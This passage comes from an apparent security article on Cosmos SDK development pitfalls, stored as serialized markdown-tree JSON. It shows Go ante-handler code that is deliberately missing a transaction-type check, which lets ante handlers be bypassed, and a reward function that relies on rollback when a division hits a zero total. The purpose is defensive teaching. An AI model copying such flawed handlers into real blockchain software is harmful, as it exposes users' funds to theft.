(",{"type":24,"tag":327,"props":86806,"children":86807},{"style":356},[86808],{"type":29,"value":86809},"newCtx",{"type":24,"tag":327,"props":86811,"children":86812},{"style":1639},[86813],{"type":29,"value":85368},{"type":24,"tag":327,"props":86815,"children":86816},{"style":346},[86817],{"type":29,"value":66},{"type":24,"tag":327,"props":86819,"children":86820},{"style":1639},[86821],{"type":29,"value":83076},{"type":24,"tag":327,"props":86823,"children":86824},{"style":346},[86825],{"type":29,"value":2744},{"type":24,"tag":327,"props":86827,"children":86828},{"style":356},[86829],{"type":29,"value":55140},{"type":24,"tag":327,"props":86831,"children":86832},{"style":1639},[86833],{"type":29,"value":22400},{"type":24,"tag":327,"props":86835,"children":86836},{"style":346},[86837],{"type":29,"value":364},{"type":24,"tag":327,"props":86839,"children":86840},{"class":329,"line":586},[86841,86846,86851,86855,86859],{"type":24,"tag":327,"props":86842,"children":86843},{"style":334},[86844],{"type":29,"value":86845},"        var",{"type":24,"tag":327,"props":86847,"children":86848},{"style":356},[86849],{"type":29,"value":86850}," anteHandler",{"type":24,"tag":327,"props":86852,"children":86853},{"style":1639},[86854],{"type":29,"value":85368},{"type":24,"tag":327,"props":86856,"children":86857},{"style":346},[86858],{"type":29,"value":66},{"type":24,"tag":327,"props":86860,"children":86861},{"style":1639},[86862],{"type":29,"value":86863},"AnteHandler\n",{"type":24,"tag":327,"props":86865,"children":86866},{"class":329,"line":1017},[86867],{"type":24,"tag":327,"props":86868,"children":86869},{"emptyLinePlaceholder":16},[86870],{"type":29,"value":544},{"type":24,"tag":327,"props":86872,"children":86873},{"class":329,"line":1026},[86874,86879,86884,86888,86892,86896,86901,86905,86909,86913],{"type":24,"tag":327,"props":86875,"children":86876},{"style":425},[86877],{"type":29,"value":86878},"        defer",{"type":24,"tag":327,"props":86880,"children":86881},{"style":340},[86882],{"type":29,"value":86883}," Recover",{"type":24,"tag":327,"props":86885,"children":86886},{"style":346},[86887],{"type":29,"value":349},{"type":24,"tag":327,"props":86889,"children":86890},{"style":356},[86891],{"type":29,"value":1631},{"type":24,"tag":327,"props":86893,"children":86894},{"style":346},[86895],{"type":29,"value":66},{"type":24,"tag":327,"props":86897,"children":86898},{"style":340},[86899],{"type":29,"value":86900},"Logger",{"type":24,"tag":327,"props":86902,"children":86903},{"style":346},[86904],{"type":29,"value":25885},{"type":24,"tag":327,"props":86906,"children":86907},{"style":381},[86908],{"type":29,"value":8716},{"type":24,"tag":327,"props":86910,"children":86911},{"style":356},[86912],{"type":29,"value":55140},{"type":24,"tag":327,"props":86914,"children":86915},{"style":346},[86916],{"type":29,"value":852},{"type":24,"tag":327,"props":86918,"children":86919},{"class":329,"line":1048},[86920],{"type":24,"tag":327,"props":86921,"children":86922},{"emptyLinePlaceholder":16},[86923],{"type":29,"value":544},{"type":24,"tag":327,"props":86925,"children":86926},{"class":329,"line":1067},[86927,86932,86936,86940,86944,86948,86952,86957,86961,86966],{"type":24,"tag":327,"props":86928,"children":86929},{"style":356},[86930],{"type":29,"value":86931},"        txWithExtensions",{"type":24,"tag":327,"props":86933,"children":86934},{"style":346},[86935],{"type":29,"value":2744},{"type":24,"tag":327,"props":86937,"children":86938},{"style":356},[86939],{"type":29,"value":85494},{"type":24,"tag":327,"props":86941,"children":86942},{"style":381},[86943],{"type":29,"value":83143},{"type":24,"tag":327,"props":86945,"children":86946},{"style":356},[86947],{"type":29,"value":74752},{"type":24,"tag":327,"props":86949,"children":86950},{"style":346},[86951],{"type":29,"value":85507},{"type":24,"tag":327,"props":86953,"children":86954},{"style":1639},[86955],{"type":29,"value":86956},"authante",{"type":24,"tag":327,"props":86958,"children":86959},{"style":346},[86960],{"type":29,"value":66},{"type":24,"tag":327,"props":86962,"children":86963},{"style":1639},[86964],{"type":29,"value":86965},"HasExtensionOptionsTx",{"type":24,"tag":327,"props":86967,"children":86968},{"style":346},[86969],{"type":29,"value":852},{"type":24,"tag":327,"props":86971,"children":86972},{"class":329,"line":1075},[86973,86977,86982],{"type":24,"tag":327,"props":86974,"children":86975},{"style":425},[86976],{"type":29,"value":8861},{"type":24,"tag":327,"props":86978,"children":86979},{"style":356},[86980],{"type":29,"value":86981}," ok",{"type":24,"tag":327,"props":86983,"children":86984},{"style":346},[86985],{"type":29,"value":497},{"type":24,"tag":327,"props":86987,"children":86988},{"class":329,"line":1084},[86989,86994,86998,87003,87007,87012],{"type":24,"tag":327,"props":86990,"children":86991},{"style":356},[86992],{"type":29,"value":86993},"            opts",{"type":24,"tag":327,"props":86995,"children":86996},{"style":381},[86997],{"type":29,"value":83143},{"type":24,"tag":327,"props":86999,"children":87000},{"style":356},[87001],{"type":29,"value":87002}," txWithExtensions",{"type":24,"tag":327,"props":87004,"children":87005},{"style":346},[87006],{"type":29,"value":66},{"type":24,"tag":327,"props":87008,"children":87009},{"style":340},[87010],{"type":29,"value":87011},"GetExtensionOptions",{"type":24,"tag":327,"props":87013,"children":87014},{"style":346},[87015],{"type":29,"value":15298},{"type":24,"tag":327,"props":87017,"children":87018},{"class":329,"line":1100},[87019,87023,87027,87031,87035,87039,87043,87047],{"type":24,"tag":327,"props":87020,"children":87021},{"style":425},[87022],{"type":29,"value":65523},{"type":24,"tag":327,"props":87024,"children":87025},{"style":340},[87026],{"type":29,"value":16118},{"type":24,"tag":327,"props":87028,"children":87029},{"style":346},[87030],{"type":29,"value":349},{"type":24,"tag":327,"props":87032,"children":87033},{"style":356},[87034],{"type":29,"value":55282},{"type":24,"tag":327,"props":87036,"children":87037},{"style":346},[87038],{"type":29,"value":1674},{"type":24,"tag":327,"props":87040,"children":87041},{"style":381},[87042],{"type":29,"value":438},{"type":24,"tag":327,"props":87044,"children":87045},{"style":397},[87046],{"type":29,"value":6695},{"type":24,"tag":327,"props":87048,"children":87049},{"style":346},[87050],{"type":29,"value":497},{"type":24,"tag":327,"props":87052,"children":87053},{"class":329,"line":1128},[87054,87059,87064,87068,87073,87077,87081,87085,87090,87094,87099],{"type":24,"tag":327,"props":87055,"children":87056},{"style":425},[87057],{"type":29,"value":87058},"                switch",{"type":24,"tag":327,"props":87060,"children":87061},{"style":356},[87062],{"type":29,"value":87063}," typeURL",{"type":24,"tag":327,"props":87065,"children":87066},{"style":381},[87067],{"type":29,"value":83143},{"type":24,"tag":327,"props":87069,"children":87070},{"style":356},[87071],{"type":29,"value":87072}," opts",{"type":24,"tag":327,"props":87074,"children":87075},{"style":346},[87076],{"type":29,"value":11329},{"type":24,"tag":327,"props":87078,"children":87079},{"style":397},[87080],{"type":29,"value":2988},{"type":24,"tag":327,"props":87082,"children":87083},{"style":346},[87084],{"type":29,"value":57069},{"type":24,"tag":327,"props":87086,"children":87087},{"style":340},[87088],{"type":29,"value":87089},"GetTypeUrl",{"type":24,"tag":327,"props":87091,"children":87092},{"style":346},[87093],{"type":29,"value":9926},{"type":24,"tag":327,"props":87095,"children":87096},{"style":356},[87097],{"type":29,"value":87098},"typeURL",{"type":24,"tag":327,"props":87100,"children":87101},{"style":346},[87102],{"type":29,"value":497},{"type":24,"tag":327,"props":87104,"children":87105},{"class":329,"line":1148},[87106,87111,87116],{"type":24,"tag":327,"props":87107,"children":87108},{"style":425},[87109],{"type":29,"value":87110},"                case",{"type":24,"tag":327,"props":87112,"children":87113},{"style":844},[87114],{"type":29,"value":87115}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":24,"tag":327,"props":87117,"children":87118},{"style":346},[87119],{"type":29,"value":13136},{"type":24,"tag":327,"props":87121,"children":87122},{"class":329,"line":1176},[87123],{"type":24,"tag":327,"props":87124,"children":87125},{"style":551},[87126],{"type":29,"value":87127},"                    // handle as *evmtypes.MsgEthereumTx\n",{"type":24,"tag":327,"props":87129,"children":87130},{"class":329,"line":1184},[87131],{"type":24,"tag":327,"props":87132,"children":87133},{"emptyLinePlaceholder":16},[87134],{"type":29,"value":544},{"type":24,"tag":327,"props":87136,"children":87137},{"class":329,"line":1192},[87138,87143,87147,87151,87155,87160],{"type":24,"tag":327,"props":87139,"children":87140},{"style":356},[87141],{"type":29,"value":87142},"                    anteHandler",{"type":24,"tag":327,"props":87144,"children":87145},{"style":381},[87146],{"type":29,"value":4809},{"type":24,"tag":327,"props":87148,"children":87149},{"style":356},[87150],{"type":29,"value":85368},{"type":24,"tag":327,"props":87152,"children":87153},{"style":346},[87154],{"type":29,"value":66},{"type":24,"tag":327,"props":87156,"children":87157},{"style":340},[87158],{"type":29,"value":87159},"ChainAnteDecorators",{"type":24,"tag":327,"props":87161,"children":87162},{"style":346},[87163],{"type":29,"value":4663},{"type":24,"tag":327,"props":87165,"children":87166},{"class":329,"line":1212},[87167,87172,87176],{"type":24,"tag":327,"props":87168,"children":87169},{"style":340},[87170],{"type":29,"value":87171},"                        NewEthSetUpContextDecorator",{"type":24,"tag":327,"props":87173,"children":87174},{"style":346},[87175],{"type":29,"value":25885},{"type":24,"tag":327,"props":87177,"children":87178},{"style":551},[87179],{"type":29,"value":86022},{"type":24,"tag":327,"props":87181,"children":87182},{"class":329,"line":4841},[87183],{"type":24,"tag":327,"props":87184,"children":87185},{"style":381},[87186],{"type":29,"value":87187},"                        ...\n",{"type":24,"tag":327,"props":87189,"children":87190},{"class":329,"line":4862},[87191,87196,87200,87205,87209],{"type":24,"tag":327,"props":87192,"children":87193},{"style":340},[87194],{"type":29,"value":87195},"                        NewEthIncrementSenderSequenceDecorator",{"type":24,"tag":327,"props":87197,"children":87198},{"style":346},[87199],{"type":29,"value":349},{"type":24,"tag":327,"props":87201,"children":87202},{"style":356},[87203],{"type":29,"value":87204},"ak",{"type":24,"tag":327,"props":87206,"children":87207},{"style":346},[87208],{"type":29,"value":22701},{"type":24,"tag":327,"props":87210,"children":87211},{"style":551},[87212],{"type":29,"value":87213},"// innermost AnteDecorator.\n",{"type":24,"tag":327,"props":87215,"children":87216},{"class":329,"line":4870},[87217],{"type":24,"tag":327,"props":87218,"children":87219},{"style":346},[87220],{"type":29,"value":87221},"                    )\n",{"type":24,"tag":327,"props":87223,"children":87224},{"class":329,"line":4879},[87225],{"type":24,"tag":327,"props":87226,"children":87227},{"emptyLinePlaceholder":16},[87228],{"type":29,"value":544},{"type":24,"tag":327,"props":87230,"children":87231},{"class":329,"line":4913},[87232,87237],{"type":24,"tag":327,"props":87233,"children":87234},{"style":425},[87235],{"type":29,"value":87236},"                default",{"type":24,"tag":327,"props":87238,"children":87239},{"style":346},[87240],{"type":29,"value":13136},{"type":24,"tag":327,"props":87242,"children":87243},{"class":329,"line":4938},[87244,87249,87253,87257,87262,87266,87271],{"type":24,"tag":327,"props":87245,"children":87246},{"style":425},[87247],{"type":29,"value":87248},"                    return",{"type":24,"tag":327,"props":87250,"children":87251},{"style":356},[87252],{"type":29,"value":7301},{"type":24,"tag":327,"props":87254,"children":87255},{"style":346},[87256],{"type":29,"value":2744},{"type":24,"tag":327,"props":87258,"children":87259},{"style":356},[87260],{"type":29,"value":87261},"stacktrace",{"type":24,"tag":327,"props":87263,"children":87264},{"style":346},[87265],{"type":29,"value":66},{"type":24,"tag":327,"props":87267,"children":87268},{"style":340},[87269],{"type":29,"value":87270},"Propagate",{"type":24,"tag":327,"props":87272,"children":87273},{"style":346},[87274],{"type":29,"value":4663},{"type":24,"tag":327,"props":87276,"children":87277},{"class":329,"line":4974},[87278,87283,87287,87291,87295,87300,87304,87309,87313,87317],{"type":24,"tag":327,"props":87279,"children":87280},{"style":356},[87281],{"type":29,"value":87282},"                        sdkerrors",{"type":24,"tag":327,"props":87284,"children":87285},{"style":346},[87286],{"type":29,"value":66},{"type":24,"tag":327,"props":87288,"children":87289},{"style":340},[87290],{"type":29,"value":85573},{"type":24,"tag":327,"props":87292,"children":87293},{"style":346},[87294],{"type":29,"value":349},{"type":24,"tag":327,"props":87296,"children":87297},{"style":356},[87298],{"type":29,"value":87299},"sdkerrors",{"type":24,"tag":327,"props":87301,"children":87302},{"style":346},[87303],{"type":29,"value":66},{"type":24,"tag":327,"props":87305,"children":87306},{"style":356},[87307],{"type":29,"value":87308},"ErrUnknownExtensionOptions",{"type":24,"tag":327,"props":87310,"children":87311},{"style":346},[87312],{"type":29,"value":2744},{"type":24,"tag":327,"props":87314,"children":87315},{"style":356},[87316],{"type":29,"value":87098},{"type":24,"tag":327,"props":87318,"children":87319},{"style":346},[87320],{"type":29,"value":9212},{"type":24,"tag":327,"props":87322,"children":87323},{"class":329,"line":4982},[87324,87329],{"type":24,"tag":327,"props":87325,"children":87326},{"style":844},[87327],{"type":29,"value":87328},"                        \"rejecting tx with unsupported extension option\"",{"type":24,"tag":327,"props":87330,"children":87331},{"style":346},[87332],{"type":29,"value":2231},{"type":24,"tag":327,"props":87334,"children":87335},{"class":329,"line":4990},[87336],{"type":24,"tag":327,"props":87337,"children":87338},{"style":346},[87339],{"type":29,"value":87221},{"type":24,"tag":327,"props":87341,"children":87342},{"class":329,"line":4999},[87343],{"type":24,"tag":327,"props":87344,"children":87345},{"style":346},[87346],{"type":29,"value":77796},{"type":24,"tag":327,"props":87348,"children":87349},{"class":329,"line":5042},[87350],{"type":24,"tag":327,"props":87351,"children":87352},{"emptyLinePlaceholder":16},[87353],{"type":29,"value":544},{"type":24,"tag":327,"props":87355,"children":87356},{"class":329,"line":5075},[87357,87361,87365,87369,87373,87377,87381,87385,87389],{"type":24,"tag":327,"props":87358,"children":87359},{"style":425},[87360],{"type":29,"value":67451},{"type":24,"tag":327,"props":87362,"children":87363},{"style":340},[87364],{"type":29,"value":86850},{"type":24,"tag":327,"props":87366,"children":87367},{"style":346},[87368],{"type":29,"value":349},{"type":24,"tag":327,"props":87370,"children":87371},{"style":356},[87372],{"type":29,"value":1631},{"type":24,"tag":327,"props":87374,"children":87375},{"style":346},[87376],{"type":29,"value":2744},{"type":24,"tag":327,"props":87378,"children":87379},{"style":356},[87380],{"type":29,"value":85908},{"type":24,"tag":327,"props":87382,"children":87383},{"style":346},[87384],{"type":29,"value":2744},{"type":24,"tag":327,"props":87386,"children":87387},{"style":356},[87388],{"type":29,"value":86788},{"type":24,"tag":327,"props":87390,"children":87391},{"style":346},[87392],{"type":29,"value":852},{"type":24,"tag":327,"props":87394,"children":87395},{"class":329,"line":5083},[87396],{"type":24,"tag":327,"props":87397,"children":87398},{"style":346},[87399],{"type":29,"value":65607},{"type":24,"tag":327,"props":87401,"children":87402},{"class":329,"line":5091},[87403],{"type":24,"tag":327,"props":87404,"children":87405},{"style":346},[87406],{"type":29,"value":8989},{"type":24,"tag":327,"props":87408,"children":87409},{"class":329,"line":5100},[87410],{"type":24,"tag":327,"props":87411,"children":87412},{"emptyLinePlaceholder":16},[87413],{"type":29,"value":544},{"type":24,"tag":327,"props":87415,"children":87416},{"class":329,"line":5176},[87417],{"type":24,"tag":327,"props":87418,"children":87419},{"style":551},[87420],{"type":29,"value":87421},"        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":24,"tag":327,"props":87423,"children":87424},{"class":329,"line":5209},[87425],{"type":24,"tag":327,"props":87426,"children":87427},{"emptyLinePlaceholder":16},[87428],{"type":29,"value":544},{"type":24,"tag":327,"props":87430,"children":87431},{"class":329,"line":5217},[87432,87437,87441,87445,87449],{"type":24,"tag":327,"props":87433,"children":87434},{"style":425},[87435],{"type":29,"value":87436},"        switch",{"type":24,"tag":327,"props":87438,"children":87439},{"style":356},[87440],{"type":29,"value":74752},{"type":24,"tag":327,"props":87442,"children":87443},{"style":346},[87444],{"type":29,"value":85507},{"type":24,"tag":327,"props":87446,"children":87447},{"style":334},[87448],{"type":29,"value":39467},{"type":24,"tag":327,"props":87450,"children":87451},{"style":346},[87452],{"type":29,"value":364},{"type":24,"tag":327,"props":87454,"children":87455},{"class":329,"line":5225},[87456,87461,87465,87469,87473],{"type":24,"tag":327,"props":87457,"children":87458},{"style":425},[87459],{"type":29,"value":87460},"        case",{"type":24,"tag":327,"props":87462,"children":87463},{"style":1639},[87464],{"type":29,"value":85368},{"type":24,"tag":327,"props":87466,"children":87467},{"style":346},[87468],{"type":29,"value":66},{"type":24,"tag":327,"props":87470,"children":87471},{"style":1639},[87472],{"type":29,"value":85401},{"type":24,"tag":327,"props":87474,"children":87475},{"style":346},[87476],{"type":29,"value":13136},{"type":24,"tag":327,"props":87478,"children":87479},{"class":329,"line":5263},[87480,87485,87489,87493,87497,87501],{"type":24,"tag":327,"props":87481,"children":87482},{"style":356},[87483],{"type":29,"value":87484},"            anteHandler",{"type":24,"tag":327,"props":87486,"children":87487},{"style":381},[87488],{"type":29,"value":4809},{"type":24,"tag":327,"props":87490,"children":87491},{"style":356},[87492],{"type":29,"value":85368},{"type":24,"tag":327,"props":87494,"children":87495},{"style":346},[87496],{"type":29,"value":66},{"type":24,"tag":327,"props":87498,"children":87499},{"style":340},[87500],{"type":29,"value":87159},{"type":24,"tag":327,"props":87502,"children":87503},{"style":346},[87504],{"type":29,"value":4663},{"type":24,"tag":327,"props":87506,"children":87507},{"class":329,"line":5276},[87508,87513,87517,87522,87526],{"type":24,"tag":327,"props":87509,"children":87510},{"style":356},[87511],{"type":29,"value":87512},"                authante",{"type":24,"tag":327,"props":87514,"children":87515},{"style":346},[87516],{"type":29,"value":66},{"type":24,"tag":327,"props":87518,"children":87519},{"style":340},[87520],{"type":29,"value":87521},"NewSetUpContextDecorator",{"type":24,"tag":327,"props":87523,"children":87524},{"style":346},[87525],{"type":29,"value":25885},{"type":24,"tag":327,"props":87527,"children":87528},{"style":551},[87529],{"type":29,"value":86022},{"type":24,"tag":327,"props":87531,"children":87532},{"class":329,"line":5289},[87533],{"type":24,"tag":327,"props":87534,"children":87535},{"style":381},[87536],{"type":29,"value":87537},"                 ...\n",{"type":24,"tag":327,"props":87539,"children":87540},{"class":329,"line":5302},[87541,87545,87549,87554,87558,87562,87566],{"type":24,"tag":327,"props":87542,"children":87543},{"style":356},[87544],{"type":29,"value":87512},{"type":24,"tag":327,"props":87546,"children":87547},{"style":346},[87548],{"type":29,"value":66},{"type":24,"tag":327,"props":87550,"children":87551},{"style":340},[87552],{"type":29,"value":87553},"NewIncrementSequenceDecorator",{"type":24,"tag":327,"props":87555,"children":87556},{"style":346},[87557],{"type":29,"value":349},{"type":24,"tag":327,"props":87559,"children":87560},{"style":356},[87561],{"type":29,"value":87204},{"type":24,"tag":327,"props":87563,"children":87564},{"style":346},[87565],{"type":29,"value":22701},{"type":24,"tag":327,"props":87567,"children":87568},{"style":551},[87569],{"type":29,"value":87570},"// innermost AnteDecorator\n",{"type":24,"tag":327,"props":87572,"children":87573},{"class":329,"line":5360},[87574],{"type":24,"tag":327,"props":87575,"children":87576},{"style":346},[87577],{"type":29,"value":84242},{"type":24,"tag":327,"props":87579,"children":87580},{"class":329,"line":5369},[87581,87586],{"type":24,"tag":327,"props":87582,"children":87583},{"style":425},[87584],{"type":29,"value":87585},"        default",{"type":24,"tag":327,"props":87587,"children":87588},{"style":346},[87589],{"type":29,"value":13136},{"type":24,"tag":327,"props":87591,"children":87592},{"class":329,"line":38991},[87593,87597,87601,87605,87609,87613,87617],{"type":24,"tag":327,"props":87594,"children":87595},{"style":425},[87596],{"type":29,"value":85803},{"type":24,"tag":327,"props":87598,"children":87599},{"style":356},[87600],{"type":29,"value":7301},{"type":24,"tag":327,"props":87602,"children":87603},{"style":346},[87604],{"type":29,"value":2744},{"type":24,"tag":327,"props":87606,"children":87607},{"style":356},[87608],{"type":29,"value":87261},{"type":24,"tag":327,"props":87610,"children":87611},{"style":346},[87612],{"type":29,"value":66},{"type":24,"tag":327,"props":87614,"children":87615},{"style":340},[87616],{"type":29,"value":87270},{"type":24,"tag":327,"props":87618,"children":87619},{"style":346},[87620],{"type":29,"value":4663},{"type":24,"tag":327,"props":87622,"children":87623},{"class":329,"line":39012},[87624,87629,87633,87638,87642,87646,87650,87655,87659,87664,87668,87672],{"type":24,"tag":327,"props":87625,"children":87626},{"style":356},[87627],{"type":29,"value":87628},"                sdkerrors",{"type":24,"tag":327,"props":87630,"children":87631},{"style":346},[87632],{"type":29,"value":66},{"type":24,"tag":327,"props":87634,"children":87635},{"style":340},[87636],{"type":29,"value":87637},"Wrapf",{"type":24,"tag":327,"props":87639,"children":87640},{"style":346},[87641],{"type":29,"value":349},{"type":24,"tag":327,"props":87643,"children":87644},{"style":356},[87645],{"type":29,"value":87299},{"type":24,"tag":327,"props":87647,"children":87648},{"style":346},[87649],{"type":29,"value":66},{"type":24,"tag":327,"props":87651,"children":87652},{"style":356},[87653],{"type":29,"value":87654},"ErrUnknownRequest",{"type":24,"tag":327,"props":87656,"children":87657},{"style":346},[87658],{"type":29,"value":2744},{"type":24,"tag":327,"props":87660,"children":87661},{"style":844},[87662],{"type":29,"value":87663},"\"invalid transaction type: %T\"",{"type":24,"tag":327,"props":87665,"children":87666},{"style":346},[87667],{"type":29,"value":2744},{"type":24,"tag":327,"props":87669,"children":87670},{"style":356},[87671],{"type":29,"value":85908},{"type":24,"tag":327,"props":87673,"children":87674},{"style":346},[87675],{"type":29,"value":9212},{"type":24,"tag":327,"props":87677,"children":87679},{"class":329,"line":87678},53,[87680,87685],{"type":24,"tag":327,"props":87681,"children":87682},{"style":844},[87683],{"type":29,"value":87684},"                \"transaction is not an SDK tx\"",{"type":24,"tag":327,"props":87686,"children":87687},{"style":346},[87688],{"type":29,"value":2231},{"type":24,"tag":327,"props":87690,"children":87692},{"class":329,"line":87691},54,[87693],{"type":24,"tag":327,"props":87694,"children":87695},{"style":346},[87696],{"type":29,"value":84242},{"type":24,"tag":327,"props":87698,"children":87700},{"class":329,"line":87699},55,[87701],{"type":24,"tag":327,"props":87702,"children":87703},{"style":346},[87704],{"type":29,"value":8989},{"type":24,"tag":327,"props":87706,"children":87708},{"class":329,"line":87707},56,[87709],{"type":24,"tag":327,"props":87710,"children":87711},{"emptyLinePlaceholder":16},[87712],{"type":29,"value":544},{"type":24,"tag":327,"props":87714,"children":87716},{"class":329,"line":87715},57,[87717,87721,87725,87729,87733,87737,87741,87745,87749],{"type":24,"tag":327,"props":87718,"children":87719},{"style":425},[87720],{"type":29,"value":4944},{"type":24,"tag":327,"props":87722,"children":87723},{"style":340},[87724],{"type":29,"value":86850},{"type":24,"tag":327,"props":87726,"children":87727},{"style":346},[87728],{"type":29,"value":349},{"type":24,"tag":327,"props":87730,"children":87731},{"style":356},[87732],{"type":29,"value":1631},{"type":24,"tag":327,"props":87734,"children":87735},{"style":346},[87736],{"type":29,"value":2744},{"type":24,"tag":327,"props":87738,"children":87739},{"style":356},[87740],{"type":29,"value":85908},{"type":24,"tag":327,"props":87742,"children":87743},{"style":346},[87744],{"type":29,"value":2744},{"type":24,"tag":327,"props":87746,"children":87747},{"style":356},[87748],{"type":29,"value":86788},{"type":24,"tag":327,"props":87750,"children":87751},{"style":346},[87752],{"type":29,"value":852},{"type":24,"tag":327,"props":87754,"children":87756},{"class":329,"line":87755},58,[87757],{"type":24,"tag":327,"props":87758,"children":87759},{"style":346},[87760],{"type":29,"value":535},{"type":24,"tag":327,"props":87762,"children":87764},{"class":329,"line":87763},59,[87765],{"type":24,"tag":327,"props":87766,"children":87767},{"style":346},[87768],{"type":29,"value":592},{"type":24,"tag":25,"props":87770,"children":87771},{},[87772,87774,87779,87781,87788,87789,87796],{"type":29,"value":87773},"Additional examples of incorrect ",{"type":24,"tag":284,"props":87775,"children":87777},{"className":87776},[],[87778],{"type":29,"value":85197},{"type":29,"value":87780}," usage include ",{"type":24,"tag":57,"props":87782,"children":87785},{"href":87783,"rel":87784},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[61],[87786],{"type":29,"value":87787},"yet more bypassable checks and loss of funds",{"type":29,"value":1323},{"type":24,"tag":57,"props":87790,"children":87793},{"href":87791,"rel":87792},"https://github.com/cosmos/ibc-go/issues/853",[61],[87794],{"type":29,"value":87795},"incorrect data passing between blockchains",{"type":29,"value":66},{"type":24,"tag":228,"props":87798,"children":87800},{"id":87799},"errors-panics-i-can-handle-it",[87801],{"type":29,"value":87802},"Errors? Panics? I can handle it",{"type":24,"tag":25,"props":87804,"children":87805},{},[87806],{"type":29,"value":87807},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":24,"tag":25,"props":87809,"children":87810},{},[87811],{"type":29,"value":87812},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":24,"tag":25,"props":87814,"children":87815},{},[87816,87818,87824,87826,87831],{"type":29,"value":87817},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":24,"tag":284,"props":87819,"children":87821},{"className":87820},[],[87822],{"type":29,"value":87823},"k.keeper.TotalReward()",{"type":29,"value":87825}," returns zero, the ",{"type":24,"tag":284,"props":87827,"children":87829},{"className":87828},[],[87830],{"type":29,"value":64668},{"type":29,"value":87832}," execution will simply rollback as if nothing has happened.",{"type":24,"tag":317,"props":87834,"children":87836},{"code":87835,"language":82891,"meta":7,"className":82892,"style":7},"func (k msgServer) AllocateReward(\n    goCtx context.Context,\n    msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n    RewardPerShare := k.keeper.Shares() /  k.keeper.TotalReward()\n    k.keeper.DistributeReward(RewardPerShare)\n\n    return &types.MsgAllocateRewardResponse, nil\n}\n",[87837],{"type":24,"tag":284,"props":87838,"children":87839},{"__ignoreMap":7},[87840,87873,87896,87924,87960,87967,88036,88074,88081,88113],{"type":24,"tag":327,"props":87841,"children":87842},{"class":329,"line":330},[87843,87847,87851,87856,87860,87864,87869],{"type":24,"tag":327,"props":87844,"children":87845},{"style":334},[87846],{"type":29,"value":83027},{"type":24,"tag":327,"props":87848,"children":87849},{"style":346},[87850],{"type":29,"value":5894},{"type":24,"tag":327,"props":87852,"children":87853},{"style":356},[87854],{"type":29,"value":87855},"k ",{"type":24,"tag":327,"props":87857,"children":87858},{"style":1639},[87859],{"type":29,"value":83041},{"type":24,"tag":327,"props":87861,"children":87862},{"style":346},[87863],{"type":29,"value":1674},{"type":24,"tag":327,"props":87865,"children":87866},{"style":340},[87867],{"type":29,"value":87868},"AllocateReward",{"type":24,"tag":327,"props":87870,"children":87871},{"style":346},[87872],{"type":29,"value":4663},{"type":24,"tag":327,"props":87874,"children":87875},{"class":329,"line":367},[87876,87880,87884,87888,87892],{"type":24,"tag":327,"props":87877,"children":87878},{"style":356},[87879],{"type":29,"value":83062},{"type":24,"tag":327,"props":87881,"children":87882},{"style":1639},[87883],{"type":29,"value":83067},{"type":24,"tag":327,"props":87885,"children":87886},{"style":346},[87887],{"type":29,"value":66},{"type":24,"tag":327,"props":87889,"children":87890},{"style":1639},[87891],{"type":29,"value":83076},{"type":24,"tag":327,"props":87893,"children":87894},{"style":346},[87895],{"type":29,"value":2231},{"type":24,"tag":327,"props":87897,"children":87898},{"class":329,"line":408},[87899,87903,87907,87911,87915,87920],{"type":24,"tag":327,"props":87900,"children":87901},{"style":356},[87902],{"type":29,"value":83088},{"type":24,"tag":327,"props":87904,"children":87905},{"style":381},[87906],{"type":29,"value":17364},{"type":24,"tag":327,"props":87908,"children":87909},{"style":1639},[87910],{"type":29,"value":13327},{"type":24,"tag":327,"props":87912,"children":87913},{"style":346},[87914],{"type":29,"value":66},{"type":24,"tag":327,"props":87916,"children":87917},{"style":1639},[87918],{"type":29,"value":87919},"MsgAllocateReward",{"type":24,"tag":327,"props":87921,"children":87922},{"style":346},[87923],{"type":29,"value":852},{"type":24,"tag":327,"props":87925,"children":87926},{"class":329,"line":421},[87927,87931,87935,87939,87943,87948,87952,87956],{"type":24,"tag":327,"props":87928,"children":87929},{"style":346},[87930],{"type":29,"value":349},{"type":24,"tag":327,"props":87932,"children":87933},{"style":381},[87934],{"type":29,"value":469},{"type":24,"tag":327,"props":87936,"children":87937},{"style":1639},[87938],{"type":29,"value":13327},{"type":24,"tag":327,"props":87940,"children":87941},{"style":346},[87942],{"type":29,"value":66},{"type":24,"tag":327,"props":87944,"children":87945},{"style":1639},[87946],{"type":29,"value":87947},"MsgAllocatRewardResponse",{"type":24,"tag":327,"props":87949,"children":87950},{"style":346},[87951],{"type":29,"value":2744},{"type":24,"tag":327,"props":87953,"children":87954},{"style":1639},[87955],{"type":29,"value":22387},{"type":24,"tag":327,"props":87957,"children":87958},{"style":346},[87959],{"type":29,"value":364},{"type":24,"tag":327,"props":87961,"children":87962},{"class":329,"line":450},[87963],{"type":24,"tag":327,"props":87964,"children":87965},{"emptyLinePlaceholder":16},[87966],{"type":29,"value":544},{"type":24,"tag":327,"props":87968,"children":87969},{"class":329,"line":481},[87970,87975,87979,87984,87988,87993,87997,88002,88006,88010,88015,88019,88023,88027,88032],{"type":24,"tag":327,"props":87971,"children":87972},{"style":356},[87973],{"type":29,"value":87974},"    RewardPerShare",{"type":24,"tag":327,"props":87976,"children":87977},{"style":381},[87978],{"type":29,"value":83143},{"type":24,"tag":327,"props":87980,"children":87981},{"style":356},[87982],{"type":29,"value":87983}," k",{"type":24,"tag":327,"props":87985,"children":87986},{"style":346},[87987],{"type":29,"value":66},{"type":24,"tag":327,"props":87989,"children":87990},{"style":356},[87991],{"type":29,"value":87992},"keeper",{"type":24,"tag":327,"props":87994,"children":87995},{"style":346},[87996],{"type":29,"value":66},{"type":24,"tag":327,"props":87998,"children":87999},{"style":340},[88000],{"type":29,"value":88001},"Shares",{"type":24,"tag":327,"props":88003,"children":88004},{"style":346},[88005],{"type":29,"value":7338},{"type":24,"tag":327,"props":88007,"children":88008},{"style":381},[88009],{"type":29,"value":2899},{"type":24,"tag":327,"props":88011,"children":88012},{"style":356},[88013],{"type":29,"value":88014},"  